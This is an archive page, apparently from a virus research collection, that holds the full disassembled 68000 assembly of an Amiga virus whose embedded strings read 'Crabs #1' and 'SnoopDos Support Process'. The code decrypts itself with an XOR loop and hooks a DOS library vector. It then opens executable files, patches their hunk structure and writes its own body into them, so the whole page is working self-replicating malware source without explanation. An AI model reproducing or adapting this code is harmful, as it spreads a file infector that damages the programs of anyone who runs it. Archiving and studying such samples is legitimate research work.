home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
std_crabs
/
virus.asm
< prev
Wrap
Assembly Source File
|
2011-12-26
|
9KB
|
332 lines
NOP ;5B2: 4E71
BRA.S LAB_004D ;5B4: 6048
BRA LAB_0050 ;5B6: 600000B0
LAB_0047:
BSR.S LAB_004B ;5BA: 611C
JSR -48(A5) ;5BC: 4EADFFD0
BSR.S LAB_004B ;5C0: 6116
RTS ;5C2: 4E75
LAB_0048:
BSR.S LAB_004B ;5C4: 6112
JMP 2(A3) ;5C6: 4EEB0002
LAB_0049:
EXG A5,A1 ;5CA: CB49
JSR -414(A6) ;5CC: 4EAEFE62
LAB_004A:
BSR.S LAB_004B ;5D0: 6106
MOVEM.L (A7)+,D0-D7/A0-A6 ;5D2: 4CDF7FFF
RTS ;5D6: 4E75
LAB_004B:
MOVEM.L D0-D7/A0-A6,-(A7) ;5D8: 48E7FFFE
LEA LAB_004E(PC),A0 ;5DC: 41FA002A
LEA LAB_0065(PC),A1 ;5E0: 43FA02C0
MOVE (A1),D0 ;5E4: 3011
MOVE.L #$00004E75,D1 ;5E6: 223C00004E75
LAB_004C:
EOR D0,(A0)+ ;5EC: B158
ADD.L D1,D0 ;5EE: D081
CMPA.L A0,A1 ;5F0: B3C8
BNE.S LAB_004C ;5F2: 66F8
JSR -636(A6) ;5F4: 4EAEFD84
MOVEM.L (A7)+,D0-D7/A0-A6 ;5F8: 4CDF7FFF
RTS ;5FC: 4E75
LAB_004D:
MOVEM.L D0-D7/A0-A6,-(A7) ;5FE: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;602: 2C780004
BSR.S LAB_004B ;606: 61D0
LAB_004E:
BSR LAB_0061 ;608: 6100026E
BEQ.S LAB_004A ;60C: 67C2
BSR.S LAB_004F ;60E: 610C
DC.W $646F ;610
DC.W $732E ;612
DC.W $6C69 ;614
BHI.S LAB_0052 ;616: 6272
BSR.S LAB_0053 ;618: 6172
DC.W $7900 ;61A
LAB_004F:
MOVEA.L (A7)+,A1 ;61C: 225F
JSR -408(A6) ;61E: 4EAEFE68
BEQ.S LAB_004A ;622: 67AC
MOVEA.L D0,A5 ;624: 2A40
LEA LAB_0067(PC),A1 ;626: 43FA0280
MOVE.L D0,(A1) ;62A: 2280
BSR LAB_0063 ;62C: 61000268
BEQ.S LAB_0049 ;630: 6798
MOVEA.L -148(A5),A1 ;632: 226DFF6C
CMPI #$261F,-4(A1) ;636: 0C69261FFFFC
BEQ.S LAB_0049 ;63C: 678C
LEA LAB_0064(PC),A3 ;63E: 47FA0260
MOVE.B #$00,(A3) ;642: 16BC0000
MOVEQ #0,D1 ;646: 7200
MOVEQ #16,D0 ;648: 7010
LSL.L #7,D0 ;64A: EF88
JSR -684(A6) ;64C: 4EAEFD54
MOVEA.L D0,A3 ;650: 2640
BEQ LAB_0049 ;652: 6700FF76
MOVEA.L A3,A1 ;656: 224B
LEA LAB_0046(PC),A0 ;658: 41FAFF5A
MOVEQ #16,D0 ;65C: 7010
LSL.L #7,D0 ;65E: EF88
JSR -624(A6) ;660: 4EAEFD90
BRA LAB_0048 ;664: 6000FF5E
LAB_0050:
LEA -148(A5),A1 ;668: 43EDFF6C
LEA LAB_005E(PC),A0 ;66C: 41FA01E2
MOVE.L (A1),2(A0) ;670: 21510002
LEA LAB_005D(PC),A0 ;674: 41FA01D0
MOVE.L A0,(A1) ;678: 2288
BRA LAB_005F ;67A: 600001F6
LAB_0051:
DC.W $536E ;67E
DC.W $6F6F ;680
MOVEQ #68,D0 ;682: 7044
DC.W $6F73 ;684
MOVEA.L (A3),A0 ;686: 2053
DC.W $7570 ;688
LAB_0052:
MOVEQ #111,D0 ;68A: 706F
LAB_0053:
MOVEQ #116,D1 ;68C: 7274
MOVEA.L (A0),A0 ;68E: 2050
MOVEQ #111,D1 ;690: 726F
DC.W $6365 ;692
DC.W $7373 ;694
ORI #$5444,(A3) ;696: 00535444
DC.W $2070 ;69A
MOVEQ #101,D1 ;69C: 7265
DC.W $7365 ;69E
BGT.S LAB_0057 ;6A0: 6E74
DC.W $7320 ;6A2
MOVE.L 11552(A5),-(A6) ;6A4: 2D2D2D20
DC.W $4372 ;6A8
BSR.S LAB_0056 ;6AA: 6162
DC.W $7320 ;6AC
DC.W $2331 ;6AE
DC.W $202D ;6B0
MOVEA.L A1,A0 ;6B2: 2049
MOVEQ #99,D2 ;6B4: 7463
DC.W $6879 ;6B6
MOVEA.L (A1)+,A0 ;6B8: 2059
BCS.S LAB_0058+2 ;6BA: 6574
MOVE D0,-(A7) ;6BC: 3F00
LAB_0054:
LEA LAB_0065+2(PC),A1 ;6BE: 43FA01E4
MOVEA.L (A1),A4 ;6C2: 2851
MOVEA.L A4,A3 ;6C4: 264C
LAB_0055:
MOVE.B (A3)+,D1 ;6C6: 121B
CMPI.B #$2E,D1 ;6C8: 0C01002E
BEQ LAB_005C ;6CC: 67000176
CMPI.B #$2D,D1 ;6D0: 0C01002D
BEQ LAB_005C ;6D4: 6700016E
TST.B D1 ;6D8: 4A01
BNE.S LAB_0055 ;6DA: 66EA
MOVE.L A4,D1 ;6DC: 220C
MOVEQ #-2,D2 ;6DE: 74FE
JSR -84(A5) ;6E0: 4EADFFAC
MOVE.L D0,D1 ;6E4: 2200
BEQ LAB_005C ;6E6: 6700015C
MOVE.L D0,D4 ;6EA: 2800
LEA LAB_0068(PC),A3 ;6EC: 47FA01BE
MOVE.L A3,D2 ;6F0: 240B
JSR -114(A5) ;6F2: 4EADFF8E
MOVEQ #20,D0 ;6F6: 7014
ADDA.L D0,A3 ;6F8: D7C0
MOVE.L D4,D1 ;6FA: 2204
MOVE.L A3,D2 ;6FC: 240B
JSR -102(A5) ;6FE: 4EADFF9A
MOVE.L D4,D1 ;702: 2204
JSR -90(A5) ;704: 4EADFFA6
CMPI #$0052,-10(A3) ;708: 0C6B0052FFF6
LAB_0056:
BNE LAB_005C ;70E: 66000134
MOVE.L -8(A3),D0 ;712: 202BFFF8
LAB_0057:
MOVE.L -4(A3),D1 ;716: 222BFFFC
MOVEQ #3,D2 ;71A: 7403
SUB.L D1,D0 ;71C: 9081
CMP.L D2,D0 ;71E: B082
BLT LAB_005C ;720: 6D000122
MOVE.L 124(A3),D0 ;724: 202B007C
MOVE.L D0,D3 ;728: 2600
LSR.L #8,D3 ;72A: E08B
LSR.L #2,D3 ;72C: E48B
LAB_0058:
BEQ LAB_005B ;72E: 67000112
MOVE.L D0,D3 ;732: 2600
MOVE.L D0,-(A7) ;734: 2F00
MOVE.L D3,D0 ;736: 2003
MOVEQ #1,D1 ;738: 7201
SWAP D1 ;73A: 4841
JSR -684(A6) ;73C: 4EAEFD54 AllocVec
MOVEA.L D0,A3 ;740: 2640
BEQ LAB_005B ;742: 670000FE
MOVE.L #$000003ED,D2 ;746: 243C000003ED
MOVE.L A4,D1 ;74C: 220C
JSR -30(A5) ;74E: 4EADFFE2 Open
MOVE.L D0,D5 ;752: 2A00
MOVE.L D5,D1 ;754: 2205
BEQ LAB_005B ;756: 670000EA
MOVE.L A3,D2 ;75A: 240B
JSR -42(A5) ;75C: 4EADFFD6 Read
MOVE.L D5,D1 ;760: 2205
JSR -36(A5) ;762: 4EADFFDC Close
LEA LAB_0065(PC),A2 ;766: 45FA013A
ADDQ.B #1,(A2) ;76A: 5212
MOVEQ #0,D0 ;76C: 7000
MOVE (A2),D0 ;76E: 3012
ADDQ #1,D0 ;770: 5240
MOVE D0,(A2) ;772: 3480
MOVE.L D0,D7 ;774: 2E00
ANDI.L #$FFFFFFF0,D0 ;776: 0280FFFFFFF0
SUB.L D0,D7 ;77C: 9E80
MOVEA.L A3,A2 ;77E: 244B
MOVE.L 8(A2),D0 ;780: 202A0008
LSL.L #2,D0 ;784: E588
MOVE.L D0,D6 ;786: 2C00
MOVE.L #$000000C1,D1 ;788: 223C000000C1
ADD.L D7,D1 ;78E: D287
LSL.L #2,D7 ;790: E58F
ADD.L D1,20(A2) ;792: D3AA0014
MOVEQ #24,D2 ;796: 7418
ADDA.L D2,A2 ;798: D5C2
ADDA.L D0,A2 ;79A: D5C0
MOVE.L (A2),D4 ;79C: 2812
LSL.L #2,D4 ;79E: E58C
ADD.L D1,(A2)+ ;7A0: D39A
ADDA.L D4,A2 ;7A2: D5C4
MOVE -2(A2),D0 ;7A4: 302AFFFE
MOVE #$4E75,D1 ;7A8: 323C4E75
MOVE #$4E71,D2 ;7AC: 343C4E71
CMP D0,D1 ;7B0: B240
BEQ.S LAB_0059 ;7B2: 670E
MOVE -4(A2),D0 ;7B4: 302AFFFC
CMP D0,D1 ;7B8: B240
BNE LAB_005B ;7BA: 66000086
MOVE D2,-4(A2) ;7BE: 3542FFFC
LAB_0059:
MOVE D2,-2(A2) ;7C2: 3542FFFE
MOVE.L A4,D1 ;7C6: 220C
MOVE.L #$000003EE,D2 ;7C8: 243C000003EE
JSR -30(A5) ;7CE: 4EADFFE2
MOVE.L D0,D5 ;7D2: 2A00
MOVEQ #0,D1 ;7D4: 7200
MOVE.B EXT_0001,D1 ;7D6: 123900DFF009
BCLR #0,D1 ;7DC: 08810000
BSET #7,D1 ;7E0: 08C10007
MOVEA.L A3,A0 ;7E4: 204B
ADDA.L D1,A0 ;7E6: D1C1
MOVE #$4E71,(A0) ;7E8: 30BC4E71
MOVE.L A3,D2 ;7EC: 240B
MOVEQ #28,D1 ;7EE: 721C
ADD.L D1,D4 ;7F0: D881
MOVE.L D5,D1 ;7F2: 2205
ADD.L D6,D4 ;7F4: D886
MOVE.L D4,D3 ;7F6: 2604
JSR -48(A5) ;7F8: 4EADFFD0
MOVE.L D5,D1 ;7FC: 2205
LEA LAB_0046(PC),A1 ;7FE: 43FAFDB4
MOVE.L A1,D2 ;802: 2409
MOVE.L #$00000304,D3 ;804: 263C00000304
ADD.L D7,D3 ;80A: D687
BSR LAB_0047 ;80C: 6100FDAC
MOVE.L D5,D1 ;810: 2205
MOVE.L (A7)+,D3 ;812: 261F
SUB.L D4,D3 ;814: 9684
MOVE.L A3,D2 ;816: 240B
ADD.L D4,D2 ;818: D484
JSR -48(A5) ;81A: 4EADFFD0
MOVE.L D5,D1 ;81E: 2205
JSR -36(A5) ;820: 4EADFFDC
MOVE.L A4,D1 ;824: 220C
BRA.S LAB_005A ;826: 6008
MOVEQ #111,D0 ;828: 706F
DC.W $7765 ;82A
SUBQ #1,(A4) ;82C: 5354
NEG.B -(A1) ;82E: 4421
LAB_005A:
DC.W $43FA ;830
BTST D0,(A2) ;832: 0112
MOVE.L A1,D2 ;834: 2409
JSR -396(A5) ;836: 4EADFE74
MOVEA.L A3,A1 ;83A: 224B
JSR -690(A6) ;83C: 4EAEFD4E
BRA.S LAB_005C ;840: 6002
LAB_005B:
MOVE.L (A7)+,D3 ;842: 261F
LAB_005C:
RTS ;844: 4E75
LAB_005D:
MOVE.L A0,-(A7) ;846: 2F08
LEA LAB_0065+2(PC),A0 ;848: 41FA005A
MOVE.L D1,(A0) ;84C: 2081
MOVEA.L (A7)+,A0 ;84E: 205F
LAB_005E:
JSR EXT_0002 ;850: 4EB90120A198
TST.L D0 ;856: 4A80
BEQ.S LAB_0060 ;858: 671C
MOVEM.L D0-D7/A0-A6,-(A7) ;85A: 48E7FFFE
LEA LAB_0067(PC),A1 ;85E: 43FA0048
MOVEA.L (A1),A5 ;862: 2A51
BSR.S LAB_0061 ;864: 6112
BEQ.S LAB_005F ;866: 670A
BSR LAB_0063 ;868: 6100002C
BEQ.S LAB_005F ;86C: 6704
BSR LAB_0054 ;86E: 6100FE4E
LAB_005F:
MOVEM.L (A7)+,D0-D7/A0-A6 ;872: 4CDF7FFF
LAB_0060:
RTS ;876: 4E75
LAB_0061:
MOVEA.L (ABSEXECBASE).W,A6 ;878: 2C780004
MOVEA.L -292(A6),A0 ;87C: 206EFEDC
CMPI #$BFFA,(A0) ;880: 0C50BFFA
BEQ.S LAB_0062 ;884: 670E
LEA LAB_0051(PC),A1 ;886: 43FAFDF6
JSR -294(A6) ;88A: 4EAEFEDA
TST.L D0 ;88E: 4A80
EORI.B #$04,CCR ;890: 0A3C0004
LAB_0062:
RTS ;894: 4E75
LAB_0063:
MOVEA.L -100(A5),A0 ;896: 206DFF9C
CMPI #$52B9,(A0) ;89A: 0C5052B9
RTS ;89E: 4E75
LAB_0064:
DC.W $0000 ;8A0
LAB_0065:
MOVE.B 342(A5),(A6) ;8A2: 1CAD0156
DC.W $60C5 ;8A6
LAB_0067:
BTST D0,D1 ;8A8: 0101
CMP.L (A4)+,D4 ;8AA: B89C
LAB_0068:
ORI.B #$00,D0 ;8AC: 00000000
ORI.B #$00,D0 ;8B0: 00000000
ORI.B #$52,D0 ;8B4: 00000052
DC.W $0001 ;8B8
LAB_0069:
DC.W $1FD8 ;8BA
DC.W $0001 ;8BC
MOVE.B (A2),-(A3) ;8BE: 1712
DC.W $013E ;8C0
DC.W $20F4 ;8C2
DC.W $FFFF ;8C4
DC.W $FFFD ;8C6
ADDQ #2,EXT_0004 ;8C8: 547970650000
DC.W $0001 ;8CE
DC.W $7374 ;8D0
ORI.B #$E6,D0 ;8D2: 000000E6
DC.W $DFB8 ;8D6
DC.W $F063 ;8D8
DC.W $4B20 ;8DA
OR.B D1,5697(A5) ;8DC: 832D1641
SUBX.B D4,D0 ;8E0: 9104
MOVE.L D7,-(A5) ;8E2: 2B07
DC.W $F590 ;8E4
BCS.S LAB_0069 ;8E6: 65D2
DC.W $4C0F ;8E8
MOVEQ #99,D3 ;8EA: 7663
END